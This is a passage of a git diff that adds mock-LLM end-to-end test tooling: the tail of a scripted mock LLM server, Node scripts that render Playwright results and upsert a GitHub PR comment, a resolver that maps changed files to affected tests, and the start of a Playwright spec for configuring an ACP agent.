+                            id=f"call_dyn_{i:03d}",
+                            name=tc["name"],
+                            arguments=(
+                                json.dumps(tc["arguments"])
+                                if isinstance(tc["arguments"], dict)
+                                else tc["arguments"]
+                            ),
+                            origin="completion",
+                        )
+                    ],
+                )
+            )
+        elif "text" in turn:
+            messages.append(
+                Message(
+                    role="assistant",
+                    content=[TextContent(text=turn["text"])],
+                )
+            )
+        else:
+            raise ValueError(
+                f"[mock-llm] turn {i} has neither 'tool_call' nor 'text': {turn!r}"
+            )
+    return messages
+
+
+def serve(port: int = 9999):
+    test_llm = TestLLM.from_messages(build_trajectory())
+    MockLLMHandler.test_llm = test_llm
+
+    server = HTTPServer(("127.0.0.1", port), MockLLMHandler)
+    print(f"Mock LLM server ready on http://127.0.0.1:{port}", flush=True)
+    print(f"Trajectory: {test_llm.remaining_responses} scripted turns", flush=True)
+
+    try:
+        server.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    finally:
+        server.server_close()
+
+
+if __name__ == "__main__":
+    import argparse
+
+    parser = argparse.ArgumentParser(description="Mock OpenAI LLM server")
+    parser.add_argument("--port", type=int, default=9999)
+    args = parser.parse_args()
+    serve(args.port)
diff --git a/tests/e2e/mock-llm/scripts/render-mock-llm-report.mjs b/tests/e2e/mock-llm/scripts/render-mock-llm-report.mjs
new file mode 100644
index 0000000000000000000000000000000000000000..1b3016b758bf5ff0e32c3db25e3163de87eb2df9
--- /dev/null
+++ b/tests/e2e/mock-llm/scripts/render-mock-llm-report.mjs
@@ -0,0 +1,403 @@
+#!/usr/bin/env node
+
+/**
+ * Reads Playwright JSON results and renders a Markdown report for a PR comment.
+ *
+ * Usage:
+ *   node render-mock-llm-report.mjs \
+ *     --results test-results-mock-llm/results.json \
+ *     --output  mock-llm-report.md \
+ *     [--workflow-url <url>] \
+ *     [--commit <sha>] \
+ *     [--artifact-url <url>] \
+ *     [--new-files <comma-separated spec paths added in this PR>]
+ */
+
+import { existsSync, readFileSync, writeFileSync } from "node:fs";
+import { pathToFileURL } from "node:url";
+
+// ── CLI args ───────────────────────────────────────────────────────────
+
+function parseArgs(argv) {
+  const args = {};
+  for (let i = 0; i < argv.length; i++) {
+    const arg = argv[i];
+    if (!arg.startsWith("--")) continue;
+    const [rawKey, inlineVal] = arg.slice(2).split("=", 2);
+    const key = rawKey.replaceAll("-", "_");
+    if (inlineVal !== undefined) {
+      args[key] = inlineVal;
+    } else {
+      const next = argv[i + 1];
+      if (next && !next.startsWith("--")) {
+        args[key] = next;
+        i++;
+      } else {
+        args[key] = "";
+      }
+    }
+  }
+  return args;
+}
+
+// ── Playwright JSON parsing ────────────────────────────────────────────
+
+function loadResults(path) {
+  if (!path || !existsSync(path)) return null;
+  try {
+    return JSON.parse(readFileSync(path, "utf8"));
+  } catch {
+    return null;
+  }
+}
+
+function collectTests(suites, parents = [], parentFile = "") {
+  const tests = [];
+  for (const suite of suites ?? []) {
+    const titles = [...parents, suite.title].filter(Boolean);
+    // Playwright's JSON reporter sets `file` on each suite/spec
+    const suiteFile = suite.file || parentFile;
+    for (const spec of suite.specs ?? []) {
+      for (const test of spec.tests ?? []) {
+        const results = test.results ?? [];
+        const lastResult = results.at(-1);
+        const duration = results.reduce(
+          (sum, r) => sum + (Number(r.duration) || 0),
+          0,
+        );
+        tests.push({
+          title: [...titles, spec.title].filter(Boolean).join(" › "),
+          file: spec.file || suiteFile,
+          status: lastResult?.status ?? (spec.ok ? "passed" : "unknown"),
+          durationMs: duration,
+          retryCount: Math.max(0, results.length - 1),
+          error: extractError(lastResult),
+        });
+      }
+    }
+    tests.push(...collectTests(suite.suites, titles, suiteFile));
+  }
+  return tests;
+}
+
+function extractError(result) {
+  if (!result) return "";
+  const errorMessages = Array.isArray(result.errors)
+    ? result.errors
+        .map((e) => e.message)
+        .filter(Boolean)
+        .join("\n\n")
+    : "";
+  const msg = result.error?.message ?? errorMessages;
+  // Trim to avoid bloating the comment
+  return sanitize(msg).slice(0, 1500);
+}
+
+function sanitize(str) {
+  if (!str) return "";
+  // Strip ANSI escape codes
+  return str.replace(/\x1B\[[0-9;]*m/g, "");
+}
+
+// ── Formatting ─────────────────────────────────────────────────────────
+
+function statusIcon(status) {
+  switch (status) {
+    case "passed":
+      return "✅";
+    case "failed":
+      return "❌";
+    case "timedOut":
+      return "⏱️";
+    case "skipped":
+      return "⏭️";
+    case "interrupted":
+      return "🛑";
+    default:
+      return "❓";
+  }
+}
+
+function formatDuration(ms) {
+  if (ms < 1000) return `${ms}ms`;
+  const secs = (ms / 1000).toFixed(1);
+  return `${secs}s`;
+}
+
+function overallStatus(tests) {
+  if (tests.length === 0) return "no tests";
+  if (tests.every((t) => t.status === "passed")) return "passed";
+  if (tests.some((t) => t.status === "failed" || t.status === "timedOut"))
+    return "failed";
+  return "mixed";
+}
+
+function overallIcon(status) {
+  switch (status) {
+    case "passed":
+      return "✅";
+    case "failed":
+      return "❌";
+    case "no tests":
+      return "⚠️";
+    default:
+      return "🔶";
+  }
+}
+
+// ── Report rendering ───────────────────────────────────────────────────
+
+export function renderReport({
+  tests,
+  workflowUrl,
+  commit,
+  artifactUrl,
+  title,
+  newFiles,
+  markerMeta,
+}) {
+  const status = overallStatus(tests);
+  const icon = overallIcon(status);
+  const passed = tests.filter((t) => t.status === "passed").length;
+  const failed = tests.filter(
+    (t) => t.status === "failed" || t.status === "timedOut",
+  ).length;
+  const skipped = tests.filter((t) => t.status === "skipped").length;
+  const total = tests.length;
+  const wasKilledMidSuite =
+    markerMeta?.status === "in_progress" &&
+    markerMeta.total > markerMeta.completed;
+
+  // Determine which tests are new (from newly added spec files).
+  // Playwright's JSON file paths are relative to testDir (e.g. "mock-llm-skills.spec.ts")
+  // while --new-files paths are repo-relative (e.g. "tests/e2e/mock-llm/mock-llm-skills.spec.ts").
+  // Match by basename or suffix in either direction.
+  const newFileSet = new Set(newFiles ?? []);
+  const basename = (p) => p.split("/").pop();
+  const isNewTest = (t) =>
+    newFileSet.size > 0 &&
+    t.file &&
+    [...newFileSet].some(
+      (nf) =>
+        t.file === nf ||
+        basename(t.file) === basename(nf) ||
+        nf.endsWith(`/${t.file}`) ||
+        t.file.endsWith(`/${nf}`),
+    );
+  const newCount = tests.filter(isNewTest).length;
+
+  const lines = [];
+
+  // Header — use 🛑 when killed mid-suite so it's visually distinct
+  const headerIcon = wasKilledMidSuite ? "🛑" : icon;
+  lines.push(`## ${headerIcon} ${title || "Mock-LLM E2E Tests"}`);
+  lines.push("");
+
+  // Summary line
+  const parts = [`**${passed}/${total} passed**`];
+  if (failed) parts.push(`**${failed} failed**`);
+  if (skipped) parts.push(`${skipped} skipped`);
+  if (newCount) parts.push(`🆕 ${newCount} new`);
+  if (wasKilledMidSuite) {
+    const notRun = markerMeta.total - markerMeta.completed;
+    parts.push(
+      `⚠️ **${notRun} not run** (process killed at ${markerMeta.completed}/${markerMeta.total})`,
+    );
+  }
+  lines.push(parts.join(" · "));
+  lines.push("");
+
+  // Metadata
+  const meta = [];
+  if (commit) meta.push(`Commit: \`${commit.slice(0, 8)}\``);
+  if (workflowUrl) meta.push(`[Workflow run](${workflowUrl})`);
+  if (artifactUrl) meta.push(`[Test artifacts](${artifactUrl})`);
+  if (meta.length) {
+    lines.push(meta.join(" · "));
+    lines.push("");
+  }
+
+  lines.push("<details>");
+  lines.push("<summary>Details</summary>");
+  lines.push("");
+
+  // New-tests callout (prominent, above the table)
+  if (newCount > 0) {
+    const newTests = tests.filter(isNewTest);
+    // Group new tests by spec file
+    const byFile = new Map();
+    for (const t of newTests) {
+      const key = t.file || "unknown";
+      if (!byFile.has(key)) byFile.set(key, []);
+      byFile.get(key).push(t);
+    }
+    lines.push(
+      `> **🟢 ${newCount} new test${newCount === 1 ? "" : "s"} added in this PR**`,
+    );
+    for (const [file, fileTests] of byFile) {
+      for (const t of fileTests) {
+        lines.push(
+          `> - ${statusIcon(t.status)} \`${file}\` › ${t.title.replace(/^.*› /, "")}`,
+        );
+      }
+    }
+    lines.push("");
+  }
+
+  // Test results table
+  lines.push("| Status | Test | Duration |");
+  lines.push("|:------:|------|----------|");
+  for (const t of tests) {
+    const retryNote = t.retryCount > 0 ? ` (${t.retryCount} retries)` : "";
+    lines.push(
+      `| ${statusIcon(t.status)} | ${t.title}${retryNote} | ${formatDuration(t.durationMs)} |`,
+    );
+  }
+  lines.push("");
+
+  // Error details for failed tests
+  const failures = tests.filter(
+    (t) => (t.status === "failed" || t.status === "timedOut") && t.error,
+  );
+  if (failures.length > 0) {
+    lines.push("<details>");
+    lines.push(`<summary>🔍 Failure details (${failures.length})</summary>`);
+    lines.push("");
+    for (const t of failures) {
+      lines.push(`### ${statusIcon(t.status)} ${t.title}`);
+      lines.push("");
+      lines.push("```");
+      lines.push(t.error);
+      lines.push("```");
+      lines.push("");
+    }
+    lines.push("</details>");
+    lines.push("");
+  }
+
+  lines.push(
+    "<sub>Posted by the Mock-LLM E2E workflow · results are deterministic (scripted LLM responses)</sub>",
+  );
+  lines.push("");
+  lines.push("</details>");
+  lines.push("");
+
+  return lines.join("\n");
+}
+
+// ── Main ───────────────────────────────────────────────────────────────
+
+function main() {
+  const args = parseArgs(process.argv.slice(2));
+  const resultsPath = args.results || "test-results-mock-llm/results.json";
+  const outputPath = args.output || "mock-llm-report.md";
+
+  const data = loadResults(resultsPath);
+  let tests = data ? collectTests(data.suites) : [];
+
+  // When Playwright is killed during webServer teardown (or mid-suite),
+  // the JSON reporter never flushes results.json. Fall back to .results.json
+  // written incrementally by DoneMarkerReporter after every onTestEnd().
+  let markerMeta = null;
+  if (!data || tests.length === 0) {
+    const markerDir = args.marker_dir || ".mock-llm-markers";
+    const markerResultsPath = `${markerDir}/.results.json`;
+    const donePath = `${markerDir}/.tests-done`;
+
+    if (existsSync(markerResultsPath)) {
+      // Rich results from DoneMarkerReporter — has per-test timing & errors.
+      // May be partial (status: "in_progress") if the process was killed
+      // before all tests finished.
+      const markerData = JSON.parse(readFileSync(markerResultsPath, "utf8"));
+      tests = (markerData.tests ?? []).map((t) => ({
+        title: t.title,
+        status: t.status,
+        durationMs: t.durationMs ?? 0,
+        retryCount: 0,
+        error: t.error ?? "",
+      }));
+      markerMeta = {
+        status: markerData.status,
+        completed: markerData.completed ?? tests.length,
+        total: markerData.total ?? tests.length,
+      };
+      console.log(
+        `No results.json; using marker results (${tests.length} tests run, ${markerMeta.completed}/${markerMeta.total} completed, status: ${markerData.status})`,
+      );
+    } else if (existsSync(donePath)) {
+      // Minimal fallback — just pass/fail status, no timing
+      const markerStatus = readFileSync(donePath, "utf8").trim();
+      console.log(
+        `No results.json; using done marker (status: ${markerStatus})`,
+      );
+      tests = [
+        {
+          title: "mock-LLM agent-server conversation",
+          status: markerStatus === "passed" ? "passed" : "failed",
+          durationMs: 0,
+          retryCount: 0,
+          error:
+            markerStatus !== "passed"
+              ? "Test failed (details in workflow logs)"
+              : "",
+        },
+      ];
+    } else {
+      // No results file AND no marker files — Playwright was likely killed
+      // before the DoneMarkerReporter could run. Check the exit code to
+      // distinguish a genuine timeout from other failures.
+      const exitCode = args.exit_code || "";
+      if (exitCode === "124") {
+        console.warn(
+          `Warning: test suite timed out (exit code 124) — no results were collected`,
+        );
+        tests = [
+          {
+            title: "(test suite timed out before completing)",
+            status: "timedOut",
+            durationMs: 0,
+            retryCount: 0,
+            error:
+              "The CI wrapper killed the Playwright process after the 5-minute deadline. " +
+              "No test results were collected. Check the workflow logs for details.",
+          },
+        ];
+      } else {
+        console.warn(
+          `Warning: no results file at ${resultsPath} and no marker files` +
+            (exitCode ? ` (exit code: ${exitCode})` : ""),
+        );
+      }
+    }
+  }
+
+  // Parse --new-files: comma-separated list of spec file paths added in this PR
+  const newFiles = args.new_files
+    ? args.new_files
+        .split(",")
+        .map((f) => f.trim())
+        .filter(Boolean)
+    : [];
+
+  const report = renderReport({
+    tests,
+    workflowUrl: args.workflow_url || "",
+    commit: args.commit || "",
+    artifactUrl: args.artifact_url || "",
+    title: args.title || "",
+    newFiles,
+    markerMeta,
+  });
+
+  writeFileSync(outputPath, report);
+  console.log(
+    `Report written to ${outputPath} (${tests.length} tests, ${overallStatus(tests)})`,
+  );
+}
+
+if (
+  process.argv[1] &&
+  import.meta.url === pathToFileURL(process.argv[1]).href
+) {
+  main();
+}
diff --git a/tests/e2e/mock-llm/scripts/resolve-affected-tests.mjs b/tests/e2e/mock-llm/scripts/resolve-affected-tests.mjs
new file mode 100644
index 0000000000000000000000000000000000000000..c8060ea1d377dbfa93c02faf981db500479bdcec
--- /dev/null
+++ b/tests/e2e/mock-llm/scripts/resolve-affected-tests.mjs
@@ -0,0 +1,191 @@
+#!/usr/bin/env node
+
+/**
+ * Resolves which mock-LLM E2E test subdirectories to run based on a list
+ * of changed source files.
+ *
+ * Usage:
+ *   node resolve-affected-tests.mjs --files 'src/routes/home.tsx,src/api/foo.ts'
+ *   node resolve-affected-tests.mjs --files-stdin   # one file per line on stdin
+ *
+ * Output (stdout):
+ *   Space-separated list of test paths relative to the repo root, suitable
+ *   for passing directly to `npx playwright test <paths...>`. Changed
+ *   spec files are resolved to their containing feature directory, so
+ *   test-only PRs that add new specs still execute those new tests.
+ *   Prints nothing if no tests are affected (meaning the full suite should
+ *   be skipped — the caller should have already used the workflow-level
+ *   paths filter).
+ *
+ * Exit codes:
+ *   0 — resolved successfully (may output nothing if no match)
+ *   1 — error (missing args, bad config, etc.)
+ *
+ * Reads the mapping from test-mapping.json (sibling of ./scripts/).
+ */
+
+import { readFileSync } from "node:fs";
+import { resolve, dirname, join } from "node:path";
+import { fileURLToPath } from "node:url";
+import { parseArgs } from "node:util";
+
+const __dirname = dirname(fileURLToPath(import.meta.url));
+const CONFIG_PATH = resolve(__dirname, "../test-mapping.json");
+
+// ── CLI args ───────────────────────────────────────────────────────────
+
+const { values } = parseArgs({
+  options: {
+    files: { type: "string", default: "" },
+    "files-stdin": { type: "boolean", default: false },
+  },
+  strict: false,
+});
+
+let changedFiles;
+if (values["files-stdin"]) {
+  changedFiles = readFileSync("/dev/stdin", "utf8")
+    .split("\n")
+    .map((l) => l.trim())
+    .filter(Boolean);
+} else if (values.files) {
+  changedFiles = values.files
+    .split(",")
+    .map((f) => f.trim())
+    .filter(Boolean);
+} else {
+  console.error(
+    "Usage: resolve-affected-tests.mjs --files 'file1,file2' | --files-stdin",
+  );
+  process.exit(1);
+}
+
+if (changedFiles.length === 0) {
+  // No files changed → nothing to run.
+  process.exit(0);
+}
+
+// ── Load config ────────────────────────────────────────────────────────
+
+const config = JSON.parse(readFileSync(CONFIG_PATH, "utf8"));
+
+// ── Glob matching (minimal, no deps) ───────────────────────────────────
+
+/**
+ * Convert a simple glob pattern to a RegExp.
+ * Supports `*` (one path segment), `**` (any depth), and `?`.
+ * Dot-prefixed segments are matched normally.
+ */
+function globToRegex(pattern) {
+  let re = "";
+  let i = 0;
+  while (i < pattern.length) {
+    const ch = pattern[i];
+    if (ch === "*") {
+      if (pattern[i + 1] === "*") {
+        // ** — match any number of path segments
+        if (pattern[i + 2] === "/") {
+          re += "(?:.+/)?";
+          i += 3;
+        } else {
+          re += ".*";
+          i += 2;
+        }
+      } else {
+        // * — match within one segment (no /)
+        re += "[^/]*";
+        i += 1;
+      }
+    } else if (ch === "?") {
+      re += "[^/]";
+      i += 1;
+    } else if (".+^${}()|[]\\".includes(ch)) {
+      re += "\\" + ch;
+      i += 1;
+    } else {
+      re += ch;
+      i += 1;
+    }
+  }
+  return new RegExp("^" + re + "$");
+}
+
+// ── Resolve affected test dirs ─────────────────────────────────────────
+
+const testDir = config.testDir;
+const testDirPrefix = testDir + "/";
+const affectedDirs = new Set();
+const affectedFiles = new Set();
+
+function includeAlwaysRunDirs() {
+  for (const dir of config.alwaysRun ?? []) {
+    affectedDirs.add(dir);
+  }
+}
+
+// Check if any changed file triggers "run all" explicitly
+const runAllPatterns = (config.runAllSources ?? []).map(globToRegex);
+const shouldRunAll = changedFiles.some((file) =>
+  runAllPatterns.some((rx) => rx.test(file)),
+);
+
+if (shouldRunAll) {
+  console.log("__ALL__");
+  process.exit(0);
+}
+
+// If a changed file IS a test file, run the feature directory containing it.
+// This is what makes test-only PRs that add new specs execute the new tests
+// even when no source files changed. Root-level specs are no longer expected,
+// but include the exact file path as a defensive fallback.
+for (const file of changedFiles) {
+  if (file.startsWith(testDirPrefix) && file.endsWith(".spec.ts")) {
+    const relative = file.slice(testDirPrefix.length);
+    if (relative.includes("/")) {
+      affectedDirs.add(relative.split("/")[0]);
+    } else {
+      affectedFiles.add(file);
+    }
+    includeAlwaysRunDirs();
+  }
+}
+
+// Map changed source files to specific test dirs.
+// Any source file (src/**) that doesn't match a specific mapping is
+// treated as cross-cutting (could affect any test) → run all.
+for (const file of changedFiles) {
+  if (!file.startsWith("src/")) continue;
+
+  let matched = false;
+  for (const mapping of config.mappings) {
+    const patterns = mapping.sources.map(globToRegex);
+    if (patterns.some((rx) => rx.test(file))) {
+      for (const dir of mapping.tests) {
+        affectedDirs.add(dir);
+      }
+      includeAlwaysRunDirs();
+      matched = true;
+    }
+  }
+
+  // Unmapped src/ file → could affect any test, run everything.
+  if (!matched) {
+    console.log("__ALL__");
+    process.exit(0);
+  }
+}
+
+if (affectedDirs.size === 0 && affectedFiles.size === 0) {
+  // No src/ files, no test files, no runAll triggers. Changed files are
+  // outside the E2E-relevant tree (docs, specs, unit tests). Nothing to run.
+  process.exit(0);
+}
+
+// Convert dir names to full paths relative to repo root. File paths are
+// already repo-relative and are only used for defensive root-level spec support.
+const testPaths = [
+  ...[...affectedDirs].sort().map((d) => join(testDir, d)),
+  ...[...affectedFiles].sort(),
+];
+
+console.log(testPaths.join(" "));
diff --git a/tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs b/tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs
new file mode 100644
index 0000000000000000000000000000000000000000..aa690e0ce50df267c1567ce800b9b853f2d20634
--- /dev/null
+++ b/tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs
@@ -0,0 +1,305 @@
+#!/usr/bin/env node
+
+import { existsSync, readFileSync, realpathSync } from "node:fs";
+import { isAbsolute, relative, resolve } from "node:path";
+import { pathToFileURL } from "node:url";
+
+const DEFAULT_MARKER = "<!-- agent-canvas-mock-llm-e2e-report -->";
+const API_ROOT = process.env.GITHUB_API_URL ?? "https://api.github.com";
+
+function parseArgs(argv) {
+  const args = {};
+  for (let index = 0; index < argv.length; index += 1) {
+    const arg = argv[index];
+    if (!arg.startsWith("--")) {
+      continue;
+    }
+
+    const [rawKey, inlineValue] = arg.slice(2).split("=", 2);
+    const key = rawKey.replaceAll("-", "_");
+    if (inlineValue !== undefined) {
+      args[key] = inlineValue;
+      continue;
+    }
+
+    const next = argv[index + 1];
+    if (next && !next.startsWith("--")) {
+      args[key] = next;
+      index += 1;
+    } else {
+      args[key] = "";
+    }
+  }
+  return args;
+}
+
+function requireValue(name, value) {
+  if (!value) {
+    throw new Error(`Missing required value: ${name}`);
+  }
+  return value;
+}
+
+function assertWithinCwd(label, path) {
+  const relativePath = relative(realpathSync(resolve(".")), path);
+  if (relativePath.startsWith("..") || isAbsolute(relativePath)) {
+    throw new Error(`${label} must be within the current working directory.`);
+  }
+}
+
+function resolveWithinCwd(label, filePath) {
+  const resolvedPath = resolve(filePath);
+  if (!existsSync(resolvedPath)) {
+    throw new Error(`${label} does not exist: ${resolvedPath}`);
+  }
+
+  assertWithinCwd(label, realpathSync(resolvedPath));
+  return resolvedPath;
+}
+
+function validateRepo(repo) {
+  if (!/^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?\/[a-zA-Z0-9._-]+$/.test(repo)) {
+    throw new Error(`Invalid repo format: ${repo}`);
+  }
+  return repo;
+}
+
+function validateIssueNumber(issueNumber) {
+  if (!/^\d+$/.test(String(issueNumber))) {
+    throw new Error(`Invalid issue number: ${issueNumber}`);
+  }
+  return String(issueNumber);
+}
+
+function sleep(ms) {
+  return new Promise((resolvePromise) => {
+    setTimeout(resolvePromise, ms);
+  });
+}
+
+function retryDelayMs(attempt, response) {
+  const retryAfter = response.headers.get("retry-after");
+  if (retryAfter && /^\d+$/.test(retryAfter)) {
+    return Number(retryAfter) * 1000;
+  }
+  return 1000 * 2 ** attempt;
+}
+
+function parseGitHubPayload(method, path, status, text) {
+  if (!text) {
+    return null;
+  }
+  try {
+    return JSON.parse(text);
+  } catch (error) {
+    throw new Error(
+      `GitHub API ${method} ${path} returned invalid JSON with status ${status}: ${text.slice(
+        0,
+        500,
+      )}`,
+    );
+  }
+}
+
+async function githubRequest(method, path, token, body) {
+  const retryableStatuses = new Set([429, 502, 503, 504]);
+
+  for (let attempt = 0; attempt < 5; attempt += 1) {
+    let response;
+    try {
+      response = await fetch(`${API_ROOT}${path}`, {
+        method,
+        headers: {
+          Authorization: `Bearer ${token}`,
+          Accept: "application/vnd.github+json",
+          "X-GitHub-Api-Version": "2022-11-28",
+          ...(body === undefined
+            ? {}
+            : { "Content-Type": "application/json" }),
+        },
+        body: body === undefined ? undefined : JSON.stringify(body),
+      });
+    } catch (error) {
+      // Transient network failure (DNS/connect/reset) rejects before any
+      // HTTP status is available — retry it like a retryable status.
+      if (attempt < 4) {
+        await sleep(1000 * 2 ** attempt);
+        continue;
+      }
+      throw error;
+    }
+
+    const text = await response.text();
+    if (!response.ok && retryableStatuses.has(response.status) && attempt < 4) {
+      await sleep(retryDelayMs(attempt, response));
+      continue;
+    }
+
+    const payload = parseGitHubPayload(method, path, response.status, text);
+    if (!response.ok) {
+      throw new Error(
+        `GitHub API ${method} ${path} failed with ${response.status}: ${text}`,
+      );
+    }
+    return payload;
+  }
+
+  throw new Error(`GitHub API ${method} ${path} failed after retries.`);
+}
+
+async function listIssueComments(repo, issueNumber, token) {
+  const comments = [];
+  for (let page = 1; page <= 10; page += 1) {
+    const batch = await githubRequest(
+      "GET",
+      `/repos/${repo}/issues/${issueNumber}/comments?per_page=100&page=${page}`,
+      token,
+    );
+    comments.push(...batch);
+    if (batch.length < 100) {
+      break;
+    }
+  }
+  return comments;
+}
+
+function escapeRegExp(value) {
+  return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+
+export function buildCommentBody(body, marker = DEFAULT_MARKER) {
+  if (body.includes(marker)) {
+    return body;
+  }
+  return `${marker}\n${body}`;
+}
+
+export function isMatchingJobComment(comment, { marker, legacyTitle }) {
+  const body = comment.body ?? "";
+  if (body.includes(marker)) {
+    return true;
+  }
+
+  if (!legacyTitle) {
+    return false;
+  }
+
+  const user = comment.user ?? {};
+  const isBot = user.type === "Bot" || user.login?.endsWith("[bot]");
+  if (!isBot) {
+    return false;
+  }
+
+  const legacyHeading = new RegExp(
+    `^##\\s+\\S+\\s+${escapeRegExp(legacyTitle)}\\s*$`,
+    "m",
+  );
+  return legacyHeading.test(body);
+}
+
+export function findMatchingJobComments(comments, options) {
+  return comments.filter((comment) => isMatchingJobComment(comment, options));
+}
+
+export async function upsertJobComment({
+  repo,
+  issueNumber,
+  token,
+  body,
+  marker = DEFAULT_MARKER,
+  legacyTitle = "",
+}) {
+  const comments = await listIssueComments(repo, issueNumber, token);
+  const [existing, ...duplicates] = findMatchingJobComments(comments, {
+    marker,
+    legacyTitle,
+  });
+  const commentBody = buildCommentBody(body, marker);
+
+  // Edit the oldest report in place so the comment keeps its position in the
+  // thread and does not notify subscribers on every run. Anything beyond it is
+  // a leftover duplicate from an earlier run.
+  for (const duplicate of duplicates) {
+    await githubRequest(
+      "DELETE",
+      `/repos/${repo}/issues/comments/${duplicate.id}`,
+      token,
+    );
+  }
+
+  if (existing) {
+    const updated = await githubRequest(
+      "PATCH",
+      `/repos/${repo}/issues/comments/${existing.id}`,
+      token,
+      { body: commentBody },
+    );
+    return { updated: true, deleted: duplicates.length, comment: updated };
+  }
+
+  const created = await githubRequest(
+    "POST",
+    `/repos/${repo}/issues/${issueNumber}/comments`,
+    token,
+    { body: commentBody },
+  );
+
+  return { updated: false, deleted: duplicates.length, comment: created };
+}
+
+async function main() {
+  const args = parseArgs(process.argv.slice(2));
+  const issueNumber =
+    args.issue_number ??
+    process.env.PR_NUMBER ??
+    process.env.ISSUE_NUMBER ??
+    "";
+
+  if (!issueNumber) {
+    console.log("Skipping PR comment because no PR number was provided.");
+    return;
+  }
+
+  const repo = validateRepo(
+    requireValue("repo", args.repo ?? process.env.GITHUB_REPOSITORY),
+  );
+  const validatedIssueNumber = validateIssueNumber(issueNumber);
+  const token = requireValue(
+    "token",
+    args.token ?? process.env.GITHUB_TOKEN ?? process.env.GH_TOKEN,
+  );
+  const marker = args.marker ?? DEFAULT_MARKER;
+  const bodyFile = resolveWithinCwd(
+    "body-file",
+    requireValue("body-file", args.body_file),
+  );
+  const body = readFileSync(bodyFile, "utf8");
+
+  const result = await upsertJobComment({
+    repo,
+    issueNumber: validatedIssueNumber,
+    token,
+    body,
+    marker,
+    legacyTitle: args.legacy_title ?? "",
+  });
+
+  const action = result.updated ? "Updated" : "Created";
+  const cleanup =
+    result.deleted === 0
+      ? ""
+      : ` Deleted ${result.deleted} duplicate PR comment${
+          result.deleted === 1 ? "" : "s"
+        }.`;
+  console.log(`${action} PR comment ${result.comment.id}.${cleanup}`);
+}
+
+if (
+  process.argv[1] &&
+  import.meta.url === pathToFileURL(process.argv[1]).href
+) {
+  main().catch((error) => {
+    console.error(error instanceof Error ? error.message : String(error));
+    process.exit(1);
+  });
+}
diff --git a/tests/e2e/mock-llm/settings/mock-llm-acp-agent.spec.ts b/tests/e2e/mock-llm/settings/mock-llm-acp-agent.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..63ed56350d49c7e04bcb3f7cc7f86f07db3d7567
--- /dev/null
+++ b/tests/e2e/mock-llm/settings/mock-llm-acp-agent.spec.ts
@@ -0,0 +1,377 @@
+/**
+ * Mock-LLM E2E test: ACP (Agent Client Protocol) agent conversation.
+ *
+ * Exercises the full ACP agent stack through the browser UI — the same
+ * way a real user would configure and use an ACP agent:
+ *
+ *   1. Navigate to Settings → Agent and switch the agent type to ACP
+ *   2. Select "Custom" preset, paste the mock ACP server command, save
+ *   3. Reload and verify the UI reflects the saved ACP configuration
+ *   4. Start a conversation from the home page and verify the ACP agent
+ *      responds with the expected reply token
+ *   5. Resume the conversation from the sidebar after navigating away
+ *
+ * The mock ACP server (`mock-acp-server.py`) speaks JSON-RPC over stdio
+ * and replies with a deterministic token so the test can verify the full
+ * round-trip without any real LLM.
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  ACP_REPLY_TOKEN,
+  MOCK_ACP_COMMAND_PYTHON,
+  MOCK_ACP_COMMAND_SCRIPT,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  getConversationIdFromURL,
+  waitForNonUserMessageText,
+  deleteConversation,
+  resetToOpenHandsAgentViaUI,
+  resetMockLLM,
+  ensureMockLLMProfile,
+  ensureMockLLMAgentProfile,
+  openAgentProfileEditor,
+  selectDropdownOption,
+  setChatInput,
+  BACKEND_URL,
+  SESSION_API_KEY,
+} from "../utils/mock-llm-helpers";
+
+const USER_MESSAGE = "Hello ACP agent, please reply.";
+
+/**
+ * The command string the user types into the ACP command textarea.
+ *
+ * Uses environment-aware paths: in Docker E2E the agent-server runs
+ * inside a container, so we use the container-side paths set by the
+ * Docker Playwright config; in the npm path we use host-local paths.
+ */
+const ACP_COMMAND_TEXT = `${MOCK_ACP_COMMAND_PYTHON} ${MOCK_ACP_COMMAND_SCRIPT}`;
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("mock-LLM ACP agent conversation", () => {
+  let conversationId: string | null = null;
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterAll(async ({ request, browser }) => {
+    // Clean up the conversation
+    if (conversationId) {
+      try {
+        await deleteConversation(request, conversationId);
+      } catch {
+        // best-effort
+      }
+    }
+
+    // Reset agent-server back to OpenHands via the Settings → Agent UI
+    // + restore mock LLM profile so subsequent test suites (which expect
+    // agent_kind=openhands) are not affected by our ACP configuration.
+    const page = await browser.newPage();
+    try {
+      await seedLocalStorage(page);
+      await ensureMockLLMAgentProfile(page.request);
+      await resetToOpenHandsAgentViaUI(page);
+      await ensureMockLLMProfile(page);
+    } catch {
+      // best-effort
+    } finally {
+      await page.close();
+    }
+    try {
+      await resetMockLLM(request);
+    } catch {
+      // best-effort
+    }
+  });
+
+  // ── Step 1: Configure ACP agent through the Settings → Agent UI ─────
+
+  test("step 1: configure ACP agent via Settings → Agent UI", async ({
+    page,
+    request,
+  }) => {
+    // The agent-server may make internal LLM calls (condenser) even for
+    // ACP conversations. Ensure a mock LLM profile exists so those calls
+    // don't fail. This UI flow is not what we're testing — the ACP UI is.
+    await ensureMockLLMProfile(page);
+
+    // Settings → Agent is the Agent Profile library (#1571); edit the
+    // seeded "default" profile through it rather than a standalone form.
+    await openAgentProfileEditor(page, "default");
+
+    // ── Switch agent type from OpenHands → ACP ──
+
+    await test.step("select ACP agent type", async () => {
+      await selectDropdownOption(page, /Agent/, /ACP/);
+    });
+
+    // ── After selecting ACP, the preset dropdown + command fields appear ──
+
+    await test.step("select Custom preset and enter command", async () => {
+      // Wait for the ACP-specific fields to appear
+      await waitForTestId(page, "agent-preset-selector");
+
+      // Select "Custom" preset so we can enter our own command
+      await selectDropdownOption(page, /Preset/, /Custom/);
+
+      // Fill in the ACP command pointing to our mock server
+      const commandInput = page.getByTestId("agent-command-input");
+      await expect(commandInput).toBeVisible({ timeout: 5_000 });
+      await commandInput.click();
+      await commandInput.fill(ACP_COMMAND_TEXT);
+    });
+
+    // ── Save the configuration ──
+
+    await test.step("save agent settings", async () => {
